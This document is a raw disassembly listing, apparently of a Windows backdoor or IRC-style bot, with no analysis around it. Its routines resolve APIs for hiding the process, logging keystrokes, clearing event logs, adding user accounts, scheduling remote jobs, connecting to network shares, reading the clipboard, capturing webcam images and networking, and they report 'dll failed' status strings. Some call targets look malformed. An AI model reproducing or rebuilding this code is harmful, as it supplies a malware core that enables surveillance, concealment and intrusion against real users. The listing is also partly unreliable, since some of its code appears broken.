push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_4CBA0C, eax
jz short loc_409A3E
push 1
push ebx
call eax
jmp short loc_409A3E
; ---------------------------------------------------------------------------
loc_409A29: ; CODE XREF: sub_409909+1Dj
call near ptr 269086Bh
nop
mov dword_4CBA98, eax
mov dword_4CBA94, 1
loc_409A3E: ; CODE XREF: sub_409909+117j
; sub_409909+11Ej
push offset aUser32_dll ; "user32.dll"
call near ptr 26B0AD3h
nop
mov edi, eax
cmp edi, ebx
jz loc_409B53
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CBA30, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CB9E0, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CB974, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CBA84, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CB9A4, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CB9C4, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CBA28, eax
call esi
cmp dword_4CBA30, ebx
mov dword_4CB914, eax
jz short loc_409AF7
cmp dword_4CB9E0, ebx
jz short loc_409AF7
cmp dword_4CB974, ebx
jz short loc_409AF7
cmp dword_4CBA84, ebx
jz short loc_409AF7
cmp dword_4CB9A4, ebx
jz short loc_409AF7
cmp dword_4CB9C4, ebx
jz short loc_409AF7
cmp dword_4CBA28, ebx
jz short loc_409AF7
cmp eax, ebx
jnz short loc_409B01
loc_409AF7: ; CODE XREF: sub_409909+1B8j
; sub_409909+1C0j ...
mov dword_4CBA9C, 1
loc_409B01: ; CODE XREF: sub_409909+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CB9A0, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CB8A8, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CB970, eax
call esi
cmp dword_4CB9A0, ebx
mov dword_4CB958, eax
jz short loc_409B5E
cmp dword_4CB8A8, ebx
jz short loc_409B5E
cmp dword_4CB970, ebx
jz short loc_409B5E
cmp eax, ebx
jnz short loc_409B68
jmp short loc_409B5E
; ---------------------------------------------------------------------------
loc_409B53: ; CODE XREF: sub_409909+144j
call near ptr 269086Bh
nop
mov dword_4CBAA0, eax
loc_409B5E: ; CODE XREF: sub_409909+232j
; sub_409909+23Aj ...
mov dword_4CBA9C, 1
loc_409B68: ; CODE XREF: sub_409909+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409D21
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CBA44, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CB988, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CB9F8, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CB8D4, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CB938, eax
call esi
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CB9B0, eax
call esi
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CB954, eax
call esi
cmp dword_4CBA44, ebx
mov dword_4CB964, eax
jz short loc_409C11
cmp dword_4CB988, ebx
jz short loc_409C11
cmp dword_4CB9F8, ebx
jz short loc_409C11
cmp dword_4CB8D4, ebx
jz short loc_409C11
cmp dword_4CB938, ebx
jz short loc_409C11
cmp dword_4CB9B0, ebx
jnz short loc_409C1B
loc_409C11: ; CODE XREF: sub_409909+2DEj
; sub_409909+2E6j ...
mov dword_4CBAA4, 1
loc_409C1B: ; CODE XREF: sub_409909+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CB9B8, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CB990, eax
call esi
cmp dword_4CB9B8, ebx
mov dword_4CBA40, eax
jz short loc_409C56
cmp dword_4CB990, ebx
jz short loc_409C56
cmp eax, ebx
jnz short loc_409C60
loc_409C56: ; CODE XREF: sub_409909+33Fj
; sub_409909+347j
mov dword_4CBAA4, 1
loc_409C60: ; CODE XREF: sub_409909+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CB9C8, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CB8B0, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_4CB8B8, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CB91C, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CB920, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CB8CC, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CB994, eax
call esi
cmp dword_4CB9C8, ebx
mov dword_4CB8BC, eax
jz short loc_409D04
cmp dword_4CB8B0, ebx
jz short loc_409D04
cmp dword_4CB8B8, ebx
jz short loc_409D04
cmp dword_4CB91C, ebx
jz short loc_409D04
cmp dword_4CB920, ebx
jz short loc_409D04
cmp dword_4CB8CC, ebx
jz short loc_409D04
cmp dword_4CB994, ebx
jz short loc_409D04
cmp eax, ebx
jnz short loc_409D0E
loc_409D04: ; CODE XREF: sub_409909+3C5j
; sub_409909+3CDj ...
mov dword_4CBAA4, 1
loc_409D0E: ; CODE XREF: sub_409909+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_4CB8B4, eax
jnz short loc_409D36
jmp short loc_409D2C
; ---------------------------------------------------------------------------
loc_409D21: ; CODE XREF: sub_409909+26Aj
nop
call near ptr 269086Bh
mov dword_4CBAA8, eax
loc_409D2C: ; CODE XREF: sub_409909+416j
mov dword_4CBAA4, 1
loc_409D36: ; CODE XREF: sub_409909+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409E02
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CB9C0, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CBA18, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CBA20, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CB9DC, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CB8F8, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CB8A4, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CBA1C, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CB890, eax
call esi
cmp dword_4CB9C0, ebx
mov dword_4CB930, eax
jz short loc_409E0D
cmp dword_4CBA18, ebx
jz short loc_409E0D
cmp dword_4CBA20, ebx
jz short loc_409E0D
cmp dword_4CB9DC, ebx
jz short loc_409E0D
cmp dword_4CB8F8, ebx
jz short loc_409E0D
cmp dword_4CB8A4, ebx
jz short loc_409E0D
cmp dword_4CBA1C, ebx
jz short loc_409E0D
cmp dword_4CB890, ebx
jz short loc_409E0D
cmp eax, ebx
jnz short loc_409E17
jmp short loc_409E0D
; ---------------------------------------------------------------------------
loc_409E02: ; CODE XREF: sub_409909+438j
nop
call near ptr 269086Bh
mov dword_4CBAB0, eax
loc_409E0D: ; CODE XREF: sub_409909+4B9j
; sub_409909+4C1j ...
mov dword_4CBAAC, 1
loc_409E17: ; CODE XREF: sub_409909+4F5j
mov ebp, dword_4270C0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A0D3
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CB944, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CBA78, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CB8E4, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CB8C0, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CB980, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CB968, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_4CB92C, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CBA54, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_4CBA70, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CB97C, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CBA60, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_4CBA14, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_4CB9D4, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_4CB9D0, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_4CB904, eax
call esi
push offset aSend ; "send"
push edi
mov dword_4CB8FC, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_4CBA24, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_4CBA38, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CB9EC, eax
call esi
mov dword_4CB9AC, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_4CBA00, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_4CB9BC, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_4CB9FC, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CBA68, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CB9B4, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_4CB978, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CB9E8, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CBA58, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CB98C, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CB928, eax
call esi
cmp dword_4CB944, ebx
mov dword_4CBA6C, eax
jz loc_40A0DE
cmp dword_4CBA78, ebx
jz loc_40A0DE
cmp dword_4CB8E4, ebx
jz loc_40A0DE
cmp dword_4CB980, ebx
jz loc_40A0DE
cmp dword_4CB968, ebx
jz loc_40A0DE
cmp dword_4CB92C, ebx
jz loc_40A0DE
cmp dword_4CBA54, ebx
jz loc_40A0DE
cmp dword_4CBA70, ebx
jz loc_40A0DE
cmp dword_4CB97C, ebx
jz loc_40A0DE
cmp dword_4CBA60, ebx
jz loc_40A0DE
cmp dword_4CBA14, ebx
jz loc_40A0DE
cmp dword_4CB9D4, ebx
jz loc_40A0DE
cmp dword_4CB9D0, ebx
jz loc_40A0DE
cmp dword_4CB904, ebx
jz short loc_40A0DE
cmp dword_4CBA24, ebx
jz short loc_40A0DE
cmp dword_4CBA38, ebx
jz short loc_40A0DE
cmp dword_4CB9EC, ebx
jz short loc_40A0DE
cmp dword_4CB9AC, ebx
jz short loc_40A0DE
cmp dword_4CBA00, ebx
jz short loc_40A0DE
cmp dword_4CB9BC, ebx
jz short loc_40A0DE
cmp dword_4CB9FC, ebx
jz short loc_40A0DE
cmp dword_4CBA68, ebx
jz short loc_40A0DE
cmp dword_4CB9B4, ebx
jz short loc_40A0DE
cmp dword_4CB978, ebx
jz short loc_40A0DE
cmp dword_4CB9E8, ebx
jz short loc_40A0DE
cmp dword_4CBA58, ebx
jz short loc_40A0DE
cmp dword_4CB98C, ebx
jz short loc_40A0DE
cmp eax, ebx
jnz short loc_40A0E8
jmp short loc_40A0DE
; ---------------------------------------------------------------------------
loc_40A0D3: ; CODE XREF: sub_409909+51Fj
nop
call near ptr 269086Bh
mov dword_4CBAB8, eax
loc_40A0DE: ; CODE XREF: sub_409909+6BEj
; sub_409909+6CAj ...
mov dword_4CBAB4, 1
loc_40A0E8: ; CODE XREF: sub_409909+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A1ED
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CB910, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CB898, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CB99C, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CB948, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CB9A8, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CB96C, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CB8D8, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CB8D0, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CB8E0, eax
call esi
cmp dword_4CB910, ebx
mov ecx, dword_4CB96C
mov dword_4CBA08, eax
jz short loc_40A1C9
cmp dword_4CB898, ebx
jz short loc_40A1C9
cmp dword_4CB99C, ebx
jz short loc_40A1C9
cmp dword_4CB948, ebx
jz short loc_40A1C9
cmp dword_4CB9A8, ebx
jz short loc_40A1C9
cmp ecx, ebx
jz short loc_40A1C9
cmp dword_4CB8D8, ebx
jz short loc_40A1C9
cmp dword_4CB8D0, ebx
jz short loc_40A1C9
cmp dword_4CB8E0, ebx
jz short loc_40A1C9
cmp eax, ebx
jnz short loc_40A1D3
loc_40A1C9: ; CODE XREF: sub_409909+87Ej
; sub_409909+886j ...
mov dword_4CBABC, 1
loc_40A1D3: ; CODE XREF: sub_409909+8BEj
cmp ecx, ebx
jz short loc_40A208
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_4CB984, eax
jnz short loc_40A208
jmp short loc_40A202
; ---------------------------------------------------------------------------
loc_40A1ED: ; CODE XREF: sub_409909+7EAj
call near ptr 269086Bh
nop
mov dword_4CBAC0, eax
mov dword_4CBABC, 1
loc_40A202: ; CODE XREF: sub_409909+8E2j
mov dword_4CB984, ebx
loc_40A208: ; CODE XREF: sub_409909+8CCj
; sub_409909+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A252
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CB95C, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CBA8C, eax
call esi
cmp dword_4CB95C, ebx
mov dword_4CB8EC, eax
jz short loc_40A25D
cmp dword_4CBA8C, ebx
jz short loc_40A25D
cmp eax, ebx
jnz short loc_40A267
jmp short loc_40A25D
; ---------------------------------------------------------------------------
loc_40A252: ; CODE XREF: sub_409909+90Aj
nop
call near ptr 269086Bh
mov dword_4CBAC8, eax
loc_40A25D: ; CODE XREF: sub_409909+939j
; sub_409909+941j ...
mov dword_4CBAC4, 1
loc_40A267: ; CODE XREF: sub_409909+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A36E
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CB8C8, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CB8A0, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CB918, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CB94C, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CBA64, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CB900, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CB8AC, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CB89C, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CB934, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CBA2C, eax
call esi
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CB9E4, eax
call esi
cmp dword_4CB8C8, ebx
mov dword_4CB908, eax
jz short loc_40A379
cmp dword_4CB8A0, ebx
jz short loc_40A379
cmp dword_4CB918, ebx
jz short loc_40A379
cmp dword_4CB94C, ebx
jz short loc_40A379
cmp dword_4CBA64, ebx
jz short loc_40A379
cmp dword_4CB900, ebx
jz short loc_40A379
cmp dword_4CB8AC, ebx
jz short loc_40A379
cmp dword_4CB89C, ebx
jz short loc_40A379
cmp dword_4CB934, ebx
jz short loc_40A379
cmp dword_4CBA2C, ebx
jz short loc_40A379
cmp dword_4CB9E4, ebx
jnz short loc_40A383
jmp short loc_40A379
; ---------------------------------------------------------------------------
loc_40A36E: ; CODE XREF: sub_409909+969j
nop
call near ptr 269086Bh
mov dword_4CBAD0, eax
loc_40A379: ; CODE XREF: sub_409909+A11j
; sub_409909+A19j ...
mov dword_4CBACC, 1
loc_40A383: ; CODE XREF: sub_409909+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A3B8
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CB8F0, eax
call esi
cmp dword_4CB8F0, ebx
mov dword_4CB9CC, eax
jz short loc_40A3C3
cmp eax, ebx
jnz short loc_40A3CD
jmp short loc_40A3C3
; ---------------------------------------------------------------------------
loc_40A3B8: ; CODE XREF: sub_409909+A85j
nop
call near ptr 269086Bh
mov dword_4CBAD8, eax
loc_40A3C3: ; CODE XREF: sub_409909+AA7j
; sub_409909+AADj
mov dword_4CBAD4, 1
loc_40A3CD: ; CODE XREF: sub_409909+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A402
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CBA50, eax
call esi
cmp dword_4CBA50, ebx
mov dword_4CBA4C, eax
jz short loc_40A40D
cmp eax, ebx
jnz short loc_40A417
jmp short loc_40A40D
; ---------------------------------------------------------------------------
loc_40A402: ; CODE XREF: sub_409909+ACFj
call near ptr 269086Bh
nop
mov dword_4CBAE0, eax
loc_40A40D: ; CODE XREF: sub_409909+AF1j
; sub_409909+AF7j
mov dword_4CBADC, 1
loc_40A417: ; CODE XREF: sub_409909+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A476
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CBA7C, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CBA74, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CBA3C, eax
call esi
cmp dword_4CBA7C, ebx
mov dword_4CB90C, eax
jz short loc_40A481
cmp dword_4CBA74, ebx
jz short loc_40A481
cmp dword_4CBA3C, ebx
jz short loc_40A481
cmp eax, ebx
jnz short loc_40A48B
jmp short loc_40A481
; ---------------------------------------------------------------------------
loc_40A476: ; CODE XREF: sub_409909+B19j
call near ptr 269086Bh
nop
mov dword_4CBAE8, eax
loc_40A481: ; CODE XREF: sub_409909+B55j
; sub_409909+B5Dj ...
mov dword_4CBAE4, 1
loc_40A48B: ; CODE XREF: sub_409909+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A4C0
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CB940, eax
call esi
cmp dword_4CB940, ebx
mov dword_4CBA48, eax
jz short loc_40A4CB
cmp eax, ebx
jnz short loc_40A4D5
jmp short loc_40A4CB
; ---------------------------------------------------------------------------
loc_40A4C0: ; CODE XREF: sub_409909+B8Dj
nop
call near ptr 269086Bh
mov dword_4CBAF0, eax
loc_40A4CB: ; CODE XREF: sub_409909+BAFj
; sub_409909+BB5j
mov dword_4CBAEC, 1
loc_40A4D5: ; CODE XREF: sub_409909+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A55E
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CBA10, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CBA5C, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CB998, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CB950, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CB9F0, eax
call esi
cmp dword_4CBA10, ebx
mov dword_4CB960, eax
jz short loc_40A569
cmp dword_4CBA5C, ebx
jz short loc_40A569
cmp dword_4CB998, ebx
jz short loc_40A569
cmp dword_4CB950, ebx
jz short loc_40A569
cmp dword_4CB9F0, ebx
jz short loc_40A569
cmp eax, ebx
jnz short loc_40A573
jmp short loc_40A569
; ---------------------------------------------------------------------------
loc_40A55E: ; CODE XREF: sub_409909+BD7j
nop
call near ptr 269086Bh
mov dword_4CBAF8, eax
loc_40A569: ; CODE XREF: sub_409909+C2Dj
; sub_409909+C35j ...
mov dword_4CBAF4, 1
loc_40A573: ; CODE XREF: sub_409909+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A5A8
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CB924, eax
call esi
cmp dword_4CB924, ebx
mov dword_4CBA04, eax
jz short loc_40A5B3
cmp eax, ebx
jnz short loc_40A5BD
jmp short loc_40A5B3
; ---------------------------------------------------------------------------
loc_40A5A8: ; CODE XREF: sub_409909+C75j
nop
call near ptr 269086Bh
mov dword_4CBB00, eax
loc_40A5B3: ; CODE XREF: sub_409909+C97j
; sub_409909+C9Dj
mov dword_4CBAFC, 1
loc_40A5BD: ; CODE XREF: sub_409909+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409909 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CBA94, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A60D
push dword_4CBA98
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj
cmp dword_4CBA9C, esi
jz short loc_40A641
push dword_4CBAA0
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A641: ; CODE XREF: sub_40A5C5+4Ej
cmp dword_4CBAA4, esi
jz short loc_40A675
push dword_4CBAA8
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A675: ; CODE XREF: sub_40A5C5+82j
cmp dword_4CBAAC, esi
jz short loc_40A6A9
push dword_4CBAB0
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j
cmp dword_4CBAB4, esi
jz short loc_40A6DD
push dword_4CBAB8
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj
cmp dword_4CBABC, esi
jz short loc_40A711
push dword_4CBAC0
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A711: ; CODE XREF: sub_40A5C5+11Ej
cmp dword_4CBAC4, esi
jz short loc_40A745
push dword_4CBAC8
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A745: ; CODE XREF: sub_40A5C5+152j
cmp dword_4CBACC, esi
jz short loc_40A779
push dword_4CBAD0
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A779: ; CODE XREF: sub_40A5C5+186j
cmp dword_4CBAD4, esi
jz short loc_40A7AD
push dword_4CBAD8
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj
cmp dword_4CBADC, esi
jz short loc_40A7E1
push dword_4CBAE0
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj
cmp dword_4CBAE4, esi
jz short loc_40A815
push dword_4CBAE8
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A815: ; CODE XREF: sub_40A5C5+222j
cmp dword_4CBAEC, esi
jz short loc_40A849
push dword_4CBAF0
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A849: ; CODE XREF: sub_40A5C5+256j
cmp dword_4CBAF4, esi
jz short loc_40A87D
push dword_4CBAF8
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj
cmp dword_4CBAFC, esi
jz short loc_40A8B1
push dword_4CBB00
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
loc_40A897: ; DATA XREF: ___:0043320Co
; ___:00433250o ...
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj
lea eax, [ebp+var_200]
push offset unk_42D6C4
push eax
call sub_41C266
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A8DE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_40A8DE: ; CODE XREF: sub_40A5C5+302j
lea eax, [ebp+var_200]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A5C5 endp
; =============== S U B R O U T I N E =======================================
sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5BC5p ...
